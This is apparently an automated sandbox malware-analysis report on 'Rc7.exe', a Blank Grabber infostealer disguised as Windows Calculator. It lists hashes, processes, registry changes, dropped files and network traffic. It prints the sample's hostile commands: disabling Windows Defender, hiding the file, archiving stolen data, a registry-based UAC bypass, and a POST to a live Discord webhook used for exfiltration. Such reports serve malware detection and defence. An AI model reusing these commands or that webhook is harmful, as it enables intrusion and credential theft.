| File name: | Rc7.exe |
| Full analysis: | https://app.any.run/tasks/89025b16-23f0-4da4-a2b6-717a62a43f29 |
| Verdict: | Malicious activity |
| Threats: | Blank Grabber is an infostealer written in Python. It is designed to steal a wide array of data, such as browser login credentials, crypto wallets, Telegram sessions, and Discord tokens. It is an open-source malware, with its code available on GitHub and regularly receiving updates. Blank Grabber builder’s simple interface lets threat actors even with basic skills to deploy it and conduct attacks. |
| Analysis date: | December 29, 2024, 17:03:22 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 6 sections |
| MD5: | A6134D59D69D21DC502E509FDAD451F2 |
| SHA1: | 9258F3B7286D0F06CB39510416A1F320CD4507AF |
| SHA256: | 8E1FEFCC91FAF100FD83EF71AECE187A9AFF4F9594EC930CCA5C6831E57DE13A |
| SSDEEP: | 98304:+J36dFZS715R//GUPVpYSTDtIAJQ1knyuin4eJMfqqQVH68DcDo0nkPle2dxrJKz:iSotkUh44a+WzpC/l |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2024:12:23 22:29:32+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.41 |
| CodeSize: | 172032 |
| InitializedDataSize: | 94208 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xce20 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 10.0.26100.1882 |
| ProductVersionNumber: | 10.0.26100.1882 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | Windows Calculator |
| FileVersion: | 10.0.26100.1882 (WinBuild.160101.0800) |
| InternalName: | WIN32CALC |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | WIN32CALC.EXE |
| ProductName: | Microsoft® Windows® Operating System |
| ProductVersion: | 10.0.26100.1882 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 444 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 512 | powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 848 | C:\WINDOWS\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" | C:\Windows\System32\cmd.exe | — | Rc7.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 904 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1668 | C:\WINDOWS\system32\cmd.exe /c "attrib +h +s "C:\Users\admin\Desktop\Rc7.exe"" | C:\Windows\System32\cmd.exe | — | Rc7.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1988 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES931B.tmp" "c:\Users\admin\AppData\Local\Temp\ac1pflgk\CSC33394B2B2602490E8B68924A034565F.TMP" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 14.32.31326.0 Modules
| |||||||||||||||
| 2076 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2192 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2260 | C:\WINDOWS\system32\cmd.exe /c "C:\Users\admin\AppData\Local\Temp\_MEI30602\rar.exe a -r -hp"blank123" "C:\Users\admin\AppData\Local\Temp\etquC.zip" *" | C:\Windows\System32\cmd.exe | — | Rc7.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2496 | reg add hkcu\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f | C:\Windows\System32\reg.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (2496) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open\command |
| Operation: | write | Name: | DelegateExecute |
Value: | |||
| (PID) Process: | (4308) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | SlowContextMenuEntries |
Value: 6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000 | |||
| (PID) Process: | (4308) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (4308) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (4308) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (4980) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open\command |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (4980) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (4980) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (4980) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (3140) Rc7.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Multimedia\DrawDib |
| Operation: | write | Name: | 1280x720x32(BGR 0) |
Value: 31,31,31,31 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5720 | Rc7.exe | C:\Users\admin\AppData\Local\Temp\_MEI57202\_decimal.pyd | executable | |
MD5:9CFB6D9624033002BC19435BAE7FF838 | SHA256:41B0B60FE2AA2B63C93D3CE9AB69247D440738EDB4805F18DB3D1DAA6BB3EBFF | |||
| 5720 | Rc7.exe | C:\Users\admin\AppData\Local\Temp\_MEI57202\rar.exe | executable | |
MD5:9C223575AE5B9544BC3D69AC6364F75E | SHA256:90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213 | |||
| 5720 | Rc7.exe | C:\Users\admin\AppData\Local\Temp\_MEI57202\_lzma.pyd | executable | |
MD5:ADEAA96A07B7B595675D9F351BB7A10C | SHA256:3E749F5FAD4088A83AE3959825DA82F91C44478B4EB74F92387FF50FF1B8647D | |||
| 5720 | Rc7.exe | C:\Users\admin\AppData\Local\Temp\_MEI57202\_bz2.pyd | executable | |
MD5:E1B31198135E45800ED416BD05F8362E | SHA256:43F812A27AF7E3C6876DB1005E0F4FB04DB6AF83A389E5F00B3F25A66F26EB80 | |||
| 5720 | Rc7.exe | C:\Users\admin\AppData\Local\Temp\_MEI57202\_ssl.pyd | executable | |
MD5:309B1A7156EBD03474B44F11BA363E89 | SHA256:67ED13570C5376CD4368EA1E4C762183629537F13504DB59D1D561385111FE0A | |||
| 5720 | Rc7.exe | C:\Users\admin\AppData\Local\Temp\_MEI57202\blank.aes | binary | |
MD5:5BC2306721AAF9ACDAE15962EDA4179C | SHA256:A3C224B1AEC6A946168268C6401F1E876E53AA84C591863717A61FBEF21A899B | |||
| 5720 | Rc7.exe | C:\Users\admin\AppData\Local\Temp\_MEI57202\_sqlite3.pyd | executable | |
MD5:F018B2C125AA1ECC120F80180402B90B | SHA256:67A887D3E45C8836F8466DC32B1BB8D64C438F24914F9410BC52B02003712443 | |||
| 5720 | Rc7.exe | C:\Users\admin\AppData\Local\Temp\_MEI57202\python313.dll | executable | |
MD5:9A3D3AE5745A79D276B05A85AEA02549 | SHA256:09693BAB682495B01DE8A24C435CA5900E11D2D0F4F0807DAE278B3A94770889 | |||
| 5720 | Rc7.exe | C:\Users\admin\AppData\Local\Temp\_MEI57202\base_library.zip | compressed | |
MD5:18C3F8BF07B4764D340DF1D612D28FAD | SHA256:6E30043DFA5FAF9C31BD8FB71778E8E0701275B620696D29AD274846676B7175 | |||
| 5720 | Rc7.exe | C:\Users\admin\AppData\Local\Temp\_MEI57202\libssl-3.dll | executable | |
MD5:B2E766F5CF6F9D4DCBE8537BC5BDED2F | SHA256:3CC6828E7047C6A7EFF517AA434403EA42128C8595BF44126765B38200B87CE4 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4712 | MoUsoCoreWorker.exe | GET | 200 | 2.16.164.49:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6072 | svchost.exe | GET | 200 | 2.16.164.49:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6072 | svchost.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 204 | 142.250.185.227:443 | https://gstatic.com/generate_204 | unknown | — | — | — |
3140 | Rc7.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/json/?fields=225545 | unknown | — | — | shared |
— | — | POST | 404 | 162.159.138.232:443 | https://discord.com/api/webhooks/1320876585930330214/XV-xlA4xB_nJMSjNv2vW8mZxVcZjcB7QATRvHdg_hNk_7PKmfGwqIczpWVdH5Ama5xwN | unknown | binary | 45 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
6072 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4712 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
6072 | svchost.exe | 2.16.164.49:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
4712 | MoUsoCoreWorker.exe | 2.16.164.49:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
6072 | svchost.exe | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
gstatic.com |
| whitelisted |
ip-api.com |
| shared |
discord.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2192 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
2192 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
2192 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
3140 | Rc7.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
3140 | Rc7.exe | Device Retrieving External IP Address Detected | ET POLICY External IP Lookup ip-api.com |
3140 | Rc7.exe | A Network Trojan was detected | STEALER [ANY.RUN] BlankGrabber (SkochGrabber) Generic External IP Check |